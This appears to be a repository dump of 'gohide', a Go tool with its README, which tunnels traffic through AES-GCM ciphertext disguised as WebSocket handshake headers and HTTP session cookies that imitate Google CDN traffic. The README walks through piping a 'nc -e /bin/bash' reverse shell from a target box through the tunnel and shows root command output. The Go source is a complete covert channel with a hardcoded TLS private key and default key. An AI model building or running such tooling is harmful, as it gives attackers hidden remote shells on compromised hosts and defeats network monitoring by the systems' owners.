├── README.md └── gohide.go /README.md: -------------------------------------------------------------------------------- 1 | # gohide 2 | 3 | Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption. 4 | 5 | **Obfuscation Modes** 6 | - Session Cookie HTTP GET (http-client) 7 | - Set-Cookie Session Cookie HTTP/2 200 OK (http-server) 8 | - WebSocket Handshake "Sec-WebSocket-Key" (websocket-client) 9 | - WebSocket Handshake "Sec-WebSocket-Accept" (websocket-server) 10 | - No obfuscation, just use AES-GCM encrypted messages (none) 11 | 12 | AES-GCM is enabled by default for each of the options above. 13 | 14 | **Usage** 15 | ``` 16 | root@WOPR-KALI:/opt/gohide-dev# ./gohide -h 17 | Usage of ./gohide: 18 | -f string 19 | listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081") 20 | -key openssl passwd -1 -salt ok | md5sum 21 | aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07") 22 | -l string 23 | listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080") 24 | -m string 25 | obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none") 26 | -pem string 27 | path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default") 28 | -r string 29 | forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999") 30 | 31 | ``` 32 | 33 | **Scenario** 34 | 35 | Box A - Reverse Handler. 36 | 37 | ``` 38 | root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client 39 | Local Port Forward Listening: 127.0.0.1:8080 40 | FakeSrv Listening: 0.0.0.0:8081 41 | ``` 42 | Box B - Target. 43 | ``` 44 | root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server 45 | Local Port Forward Listening: 127.0.0.1:9090 46 | FakeSrv Listening: 0.0.0.0:9091 47 | 48 | ``` 49 | Note: 50 | /etc/hosts "127.0.0.1 target.com" 51 | 52 | Box B - Netcat /bin/bash 53 | 54 | ``` 55 | root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090 56 | 57 | ``` 58 | Box A - Netcat client 59 | ``` 60 | root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080 61 | localhost [127.0.0.1] 8080 (http-alt) open 62 | id 63 | uid=0(root) gid=0(root) groups=0(root) 64 | uname -a 65 | Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux 66 | netstat -pantwu 67 | Active Internet connections (servers and established) 68 | tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide 69 | 70 | ``` 71 | **Obfuscation Samples** 72 | 73 | websocket-client (Box A to Box B) 74 | - Sec-WebSocket-Key contains AES-GCM encrypted content e.g. "uname -a". 75 | ``` 76 | GET /news/api/latest HTTP/1.1 77 | Host: cdn-tb0.gstatic.com 78 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko 79 | Upgrade: websocket 80 | Connection: Upgrade 81 | Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62 82 | Sec-WebSocket-Version: 13 83 | ``` 84 | 85 | websocket-server (Box B to Box A) 86 | - Sec-WebSocket-Accept contains AES-GCM encrypted output. 87 | ``` 88 | HTTP/1.1 101 Switching Protocols 89 | Upgrade: websocket 90 | Connection: Upgrade 91 | Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI= 92 | ``` 93 | http-client 94 | - Session cookie header contains AES-GCM encrypted content 95 | ``` 96 | GET /news/api/latest HTTP/1.1 97 | Host: cdn-tbn0.gstatic.com 98 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko 99 | Accept: */* 100 | Accept-Language: en-US,en;q=0.5 101 | Accept-Encoding: gzip, deflate, br 102 | Referer: http://www.bbc.co.uk/ 103 | Connection: keep-alive 104 | Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly 105 | ``` 106 | http-server 107 | - Set-Cookie header contains AES-GCM encrypted content. 108 | ``` 109 | HTTP/2.0 200 OK 110 | content-encoding: gzip 111 | content-type: text/html; charset=utf-8 112 | pragma: no-cache 113 | server: nginx 114 | x-content-type-options: nosniff 115 | x-frame-options: SAMEORIGIN 116 | x-xss-protection: 1; mode=block 117 | cache-control: no-cache, no-store, must-revalidate 118 | expires: Thu, 21 Nov 2019 01:07:15 GMT 119 | date: Thu, 21 Nov 2019 01:07:15 GMT 120 | content-length: 30330 121 | vary: Accept-Encoding 122 | X-Firefox-Spdy: h2 123 | Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly 124 | 125 | ``` 126 | 127 | none 128 | ``` 129 | 8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA 130 | ``` 131 | 132 | ![Screenshot from 2019-11-21 02-26-30](https://user-images.githubusercontent.com/56988989/69298676-804ba680-0c06-11ea-84f6-2a32c48a3ba0.png) 133 | 134 | ![Screenshot from 2019-11-21 16-40-07](https://user-images.githubusercontent.com/56988989/69357798-a3656d00-0c7d-11ea-9db9-d3fe5d2e9ccf.png) 135 | 136 | 137 | Future 138 | - Fix up error handling. 139 | 140 | 141 | 142 | Enjoy~ 143 | -------------------------------------------------------------------------------- /gohide.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io" 5 | "net" 6 | "fmt" 7 | "io/ioutil" 8 | "bufio" 9 | "flag" 10 | "time" 11 | "regexp" 12 | "strings" 13 | "crypto/aes" 14 | "crypto/cipher" 15 | "crypto/rand" 16 | "crypto/tls" 17 | "crypto/x509" 18 | b64 "encoding/base64" 19 | ) 20 | 21 | var key []byte 22 | var tlscfg *tls.Config 23 | var r net.Conn 24 | var fakeSrv net.Listener 25 | 26 | func Encrypt(data []byte) []byte { 27 | block, err := aes.NewCipher(key[:]) 28 | if err != nil { 29 | panic(err) 30 | } 31 | 32 | gcm, err := cipher.NewGCM(block) 33 | if err != nil { 34 | panic(err) 35 | } 36 | 37 | nonce := make([]byte, gcm.NonceSize()) 38 | _ , err = io.ReadFull(rand.Reader, nonce) 39 | if err != nil { 40 | panic(err) 41 | } 42 | 43 | ciphertext := gcm.Seal(nil, nonce, data, nil) 44 | output := make([]byte, gcm.NonceSize() + len(ciphertext)) 45 | copy(output[:len(nonce)], nonce) 46 | copy(output[len(nonce):], ciphertext) 47 | return output 48 | } 49 | 50 | func Decrypt(data []byte) []byte { 51 | block, err := aes.NewCipher(key[:]) 52 | if err != nil { 53 | panic(err) 54 | } 55 | 56 | gcm, err := cipher.NewGCM(block) 57 | if err != nil { 58 | panic(err) 59 | } 60 | 61 | if len(data) < gcm.NonceSize() { 62 | panic(err) 63 | } 64 | 65 | plaintext , err := gcm.Open(nil, data[:gcm.NonceSize()], data[gcm.NonceSize():], nil) 66 | if err != nil { 67 | panic(err) 68 | } 69 | return plaintext 70 | } 71 | 72 | func obscure_send(data []byte, stype string) string { 73 | switch stype { 74 | case "websocket-client": 75 | upgrade := "GET /news/api/latest HTTP/1.1\n" + 76 | "Host: cdn-tb0.gstatic.com\n" + 77 | "User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko\n" + 78 | "Upgrade: websocket\n" + 79 | "Connection: Upgrade\n" + 80 | "Sec-WebSocket-Key: " + b64.StdEncoding.EncodeToString(Encrypt(data)) + "\n" + 81 | "Sec-WebSocket-Version: 13\n\n" 82 | return string(upgrade) 83 | 84 | case "websocket-server": 85 | upgrade := "HTTP/1.1 101 Switching Protocols\n" + 86 | "Upgrade: websocket\n" + 87 | "Connection: Upgrade\n" + 88 | "Sec-WebSocket-Accept: " + b64.StdEncoding.EncodeToString(Encrypt(data)) + "\n\n" 89 | return string(upgrade) 90 | 91 | case "http-client": 92 | get := "GET /news/api/latest HTTP/1.1\n" + 93 | "Host: cdn-tbn0.gstatic.com\n" + 94 | "User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko\n" + 95 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" + 96 | "Accept-Language: en-US,en;q=0.5\n" + 97 | "Accept-Encoding: gzip, deflate\n" + 98 | "Referer: https://www.google.com/\n" + 99 | "Connection: keep-alive\n" + 100 | "Upgrade-Insecure-Requests: 1" + 101 | "Cookie: Session=" + b64.StdEncoding.EncodeToString(Encrypt(data)) + "; Secure; HttpOnly\n\n" 102 | return string(get) 103 | 104 | case "http-server": 105 | response := "HTTP/1.1 200 OK\n" + 106 | "Content-Type: text/html\n" + 107 | "Transfer-Encoding: chunked\n" + 108 | "Connection: keep-alive\n" + 109 | "ETag: W/'5aa91b6d-19b00'\n" + 110 | "Cache-Control: no-cache\n" + 111 | "Access-Control-Allow-Origin: *\n" + 112 | "Server: CDN77-Turbo\n" + 113 | "X-Cache: HIT\n" + 114 | "X-Age: 21758851\n" + 115 | "Content-Encoding: gzip\n" + 116 | "Set-Cookie: Session=" + b64.StdEncoding.EncodeToString(Encrypt(data)) + "; Secure; Path=/; HttpOnly\n\n" 117 | return string(response) 118 | 119 | default: 120 | return string(b64.StdEncoding.EncodeToString(Encrypt(data))) + "\n" 121 | 122 | } 123 | } 124 | 125 | func finder(pattern string, data []byte) []byte { 126 | found, _ := regexp.Match(pattern, data) 127 | if found == true { 128 | re := regexp.MustCompile(pattern) 129 | match := re.FindStringSubmatch(string(data)) 130 | decode , err := b64.StdEncoding.DecodeString(match[1]) 131 | if err != nil { 132 | return nil 133 | } 134 | return Decrypt([]byte(decode)) 135 | } 136 | return nil 137 | } 138 | 139 | func obscure_recv(data []byte, stype string) []byte { 140 | switch stype { 141 | default: 142 | decode , _ := b64.StdEncoding.DecodeString(string(data)) 143 | return Decrypt([]byte(decode)) 144 | 145 | case "websocket-server": 146 | pattern := `(?m)Sec-WebSocket-Key: ([^;]+)` 147 | return finder(pattern, data) 148 | 149 | case "websocket-client": 150 | pattern := `(?m)Sec-WebSocket-Accept: ([^;]+)` 151 | return finder(pattern, data) 152 | 153 | case "http-client": 154 | pattern := `(?m)Session=([^;]+);` 155 | return finder(pattern, data) 156 | 157 | case "http-server": 158 | pattern := `(?m)Session=([^;]+);` 159 | return finder(pattern, data) 160 | 161 | } 162 | } 163 | 164 | func sham(stype string) []byte { 165 | switch stype { 166 | default: 167 | o := "{}" 168 | return []byte(o) 169 | case "websocket-server": 170 | o := "HTTP/1.1 101 Switching Protocols\n" + 171 | "Upgrade: websocket\n" + 172 | "Connection: Upgrade\n" + 173 | "Sec-WebSocket-Accept: s3pPSMdiTxaQ8kYGzzhNRbK+x0o=\n\n" 174 | return []byte(o) 175 | case "websocket-client": 176 | o := "GET /news/api/latest HTTP/1.1\n" + 177 | "Host: cdn-tb0.gstatic.com\n" + 178 | "User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko\n" + 179 | "Upgrade: websocket\n" + 180 | "Connection: Upgrade\n" + 181 | "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\n" + 182 | "Sec-WebSocket-Version: 13\n\n" 183 | return []byte(o) 184 | case "http-client": 185 | o := "GET / HTTP/1.1\n" + 186 | "Host: cdn-tb0.gstatic.com\n" + 187 | "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\n" + 188 | "Accept: text/html,application/xhtml+xml,application/xml\n" + 189 | "Accept-Language: en-US,en\n" + 190 | "Accept-Encoding: gzip, deflate\n" + 191 | "Connection: keep-alive\n" + 192 | "Upgrade-Insecure-Requests: 1\n\n" 193 | return []byte(o) 194 | case "http-server": 195 | o := "HTTP/1.1 200 OK\n" + 196 | "Content-Type: text/html\n" + 197 | "Transfer-Encoding: chunked\n" + 198 | "Connection: keep-alive\n" + 199 | "ETag: W/'5aa91b6d-19b00'\n" + 200 | "Cache-Control: no-cache\n" + 201 | "Access-Control-Allow-Origin: *\n" + 202 | "Server: CDN77-Turbo\n" + 203 | "X-Cache: HIT\n" + 204 | "X-Age: 21758851\n" + 205 | "Content-Encoding: gzip\n\n" 206 | return []byte(o) 207 | } 208 | } 209 | 210 | func setupTLS(pemPtr string) *tls.Config { 211 | //default - do not use! set your own .pem! 212 | certPem := []byte(`-----BEGIN CERTIFICATE----- 213 | MIICRzCCAcygAwIBAgIUCU0DaqqroWAAL8wvvOJgvuSCAlgwCgYIKoZIzj0EAwIw 214 | WjELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGElu 215 | dGVybmV0IFdpZGdpdHMgUHR5IEx0ZDETMBEGA1UEAwwKdGFyZ2V0LmNvbTAeFw0x 216 | OTExMjEyMjU5MjlaFw0yOTExMTgyMjU5MjlaMFoxCzAJBgNVBAYTAkFVMRMwEQYD 217 | VQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBM 218 | dGQxEzARBgNVBAMMCnRhcmdldC5jb20wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATR 219 | ZYVwyZIVj8EiPzsTR7OBS1uycga15tIK9eEvGv7xPrv2EmCc6XYecI1lSVHkEqMN 220 | gVazeiDy5Wm90roP1r2IxB/hclp1WgpDXXJZql8VaFUR2/jAbvjPUgbwdbBQxfOj 221 | UzBRMB0GA1UdDgQWBBTnQhFiG9cWSCZwl1sxfd3PMA3p5TAfBgNVHSMEGDAWgBTn 222 | QhFiG9cWSCZwl1sxfd3PMA3p5TAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMC 223 | A2kAMGYCMQD0fK2o96rREKiJCojOg73LSiX3FGMtLqCEHfBq9wyrerxWugwDp2Fg 224 | P9h8NsbF81cCMQDPww/4ige6PoCtvcbYmj9UqynznYo7B788LBGzufA7KNFAfcTP 225 | JTrHESOoiQ5j9N0= 226 | -----END CERTIFICATE-----`) 227 | 228 | keyPem := []byte(`-----BEGIN EC PARAMETERS----- 229 | BgUrgQQAIg== 230 | -----END EC PARAMETERS----- 231 | -----BEGIN EC PRIVATE KEY----- 232 | MIGkAgEBBDCWraBt3j/eJyRDPrf/2XrwON5jUDJyVlOGbWm+5pDBUyQtTNXakSyV 233 | mafgjsOkQ3egBwYFK4EEACKhZANiAATRZYVwyZIVj8EiPzsTR7OBS1uycga15tIK 234 | 9eEvGv7xPrv2EmCc6XYecI1lSVHkEqMNgVazeiDy5Wm90roP1r2IxB/hclp1WgpD 235 | XXJZql8VaFUR2/jAbvjPUgbwdbBQxfM= 236 | -----END EC PRIVATE KEY-----`) 237 | 238 | if pemPtr != "default" { 239 | certPem , _ = ioutil.ReadFile(pemPtr) 240 | keyPem , _ = ioutil.ReadFile(pemPtr) 241 | } 242 | 243 | cert, err := tls.X509KeyPair(certPem, keyPem) 244 | if err != nil { 245 | panic(err) 246 | } 247 | 248 | roots := x509.NewCertPool() 249 | ok := roots.AppendCertsFromPEM(certPem) 250 | if !ok { 251 | panic("root ca error") 252 | } 253 | 254 | tlscfg := &tls.Config{ 255 | RootCAs: roots, 256 | Certificates: []tls.Certificate{cert}, 257 | //InsecureSkipVerify: true, 258 | MinVersion: tls.VersionTLS12, 259 | CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256}, 260 | PreferServerCipherSuites: true, 261 | CipherSuites: []uint16{ 262 | tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 263 | tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 264 | tls.TLS_RSA_WITH_AES_256_GCM_SHA384, 265 | tls.TLS_RSA_WITH_AES_256_CBC_SHA, 266 | }, 267 | } 268 | return tlscfg 269 | 270 | } 271 | 272 | func main() { 273 | 274 | listenPtr := flag.String("l", "127.0.0.1:8080", "listen port forward -l x.x.x.x:xxxx (ip/domain:port)") 275 | remotePtr := flag.String("r", "127.0.0.1:9999", "forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port)") 276 | fakeSrvPtr := flag.String("f", "0.0.0.0:8081", "listen fake server -r x.x.x.x:xxxx (ip/domain:port)") 277 | modePtr := flag.String("m", "none", "obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none") 278 | keyPtr := flag.String("key", "5fe10ae58c5ad02a6113305f4e702d07", "aes encryption secret: use '-k `openssl passwd -1 -salt ok | md5sum`' to derive key from password") 279 | pemPtr := flag.String("pem", "default", "path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode") 280 | 281 | flag.Parse() 282 | 283 | key = []byte(*keyPtr) 284 | 285 | //OUTBOUND TRANSLATOR PIPE 286 | or, ow := io.Pipe() 287 | 288 | //REMOTE PIPE 289 | rr, rw := io.Pipe() 290 | 291 | //INBOUND TRANSLATOR PIPE 292 | ir, iw := io.Pipe() 293 | 294 | //LOCAL PIPE 295 | lr, lw := io.Pipe() 296 | 297 | //SETUP LOCAL FORWARDER 298 | s , err := net.Listen("tcp", *listenPtr) 299 | if err != nil { 300 | panic(err) 301 | } 302 | fmt.Printf("Local Port Forward Listening: %s\n", *listenPtr) 303 | 304 | //TLS SETUP 305 | if *pemPtr != "none" { 306 | tlscfg = setupTLS(*pemPtr) 307 | } 308 | 309 | //SETUP LOCAL FAKESRV LISTENER 310 | switch *pemPtr { 311 | case "none": 312 | fakeSrv, err = net.Listen("tcp", *fakeSrvPtr) 313 | if err != nil { 314 | panic(err) 315 | } 316 | default: 317 | fakeSrv, err = tls.Listen("tcp", *fakeSrvPtr, tlscfg) 318 | if err != nil { 319 | panic(err) 320 | } 321 | } 322 | 323 | if *pemPtr != "none" { 324 | fmt.Printf("FakeSrv listening: %s, TLS mode using key: %s\n", *fakeSrvPtr, *pemPtr) 325 | } else { 326 | fmt.Printf("FakeSrv listening: %s, plaintext mode\n", *fakeSrvPtr) 327 | } 328 | 329 | //PROXY LOCAL REQUESTS 330 | go func() { 331 | for { 332 | 333 | l , err := s.Accept() 334 | if err != nil { 335 | continue 336 | } 337 | 338 | //LOCAL to OUTBOUND TRANSLATOR 339 | go io.Copy(ow, l) 340 | 341 | //INBOUND TRANSLATOR to LOCAL 342 | go io.Copy(l, lr) 343 | 344 | time.Sleep(400 * time.Millisecond) 345 | 346 | } 347 | }() 348 | 349 | //LISTEN INCOMING RESPONSES 350 | go func() { 351 | for { 352 | 353 | f , err := fakeSrv.Accept() 354 | if err != nil { 355 | continue 356 | } 357 | if strings.HasSuffix(*modePtr, "client") { 358 | f.Write(sham(*modePtr)) 359 | } 360 | 361 | //REMOTE to INBOUND TRANSLATOR 362 | io.Copy(iw, f) 363 | 364 | if strings.HasSuffix(*modePtr, "server") { 365 | f.Write(sham(*modePtr)) 366 | } 367 | f.Close() 368 | 369 | time.Sleep(400 * time.Millisecond) 370 | 371 | } 372 | }() 373 | 374 | //FORWARD LOCAL REQUESTS TO REMOTE FAKESRV 375 | go func() { 376 | for { 377 | 378 | switch *pemPtr { 379 | default: 380 | r , err = tls.Dial("tcp", *remotePtr, tlscfg) 381 | if err != nil { 382 | time.Sleep(5 * time.Second) 383 | continue 384 | } 385 | 386 | case "none": 387 | r , err = net.Dial("tcp", *remotePtr) 388 | if err != nil { 389 | time.Sleep(5 * time.Second) 390 | continue 391 | } 392 | 393 | } 394 | 395 | //OUTBOUND TRANSLATOR to REMOTE 396 | if _ , err := io.Copy(r, rr); err == nil { 397 | r.Close() 398 | } 399 | 400 | time.Sleep(400 * time.Millisecond) 401 | 402 | } 403 | }() 404 | 405 | //OUTBOUND TRANSLATOR 406 | go func() { 407 | for { 408 | scanner := bufio.NewScanner(or) 409 | for scanner.Scan() { 410 | fmt.Fprintf(rw, obscure_send(scanner.Bytes(), *modePtr)) 411 | } 412 | 413 | time.Sleep(400 * time.Millisecond) 414 | 415 | } 416 | }() 417 | 418 | //INBOUND TRANSLATOR 419 | go func() { 420 | for { 421 | 422 | scanner := bufio.NewScanner(ir) 423 | for scanner.Scan() { 424 | output := obscure_recv(scanner.Bytes(), *modePtr) 425 | if output != nil { 426 | fmt.Fprintf(lw, string(output) + "\n") 427 | } 428 | 429 | } 430 | 431 | time.Sleep(400 * time.Millisecond) 432 | 433 | } 434 | }() 435 | 436 | for { 437 | time.Sleep(60 * time.Second) 438 | } 439 | 440 | } 441 | --------------------------------------------------------------------------------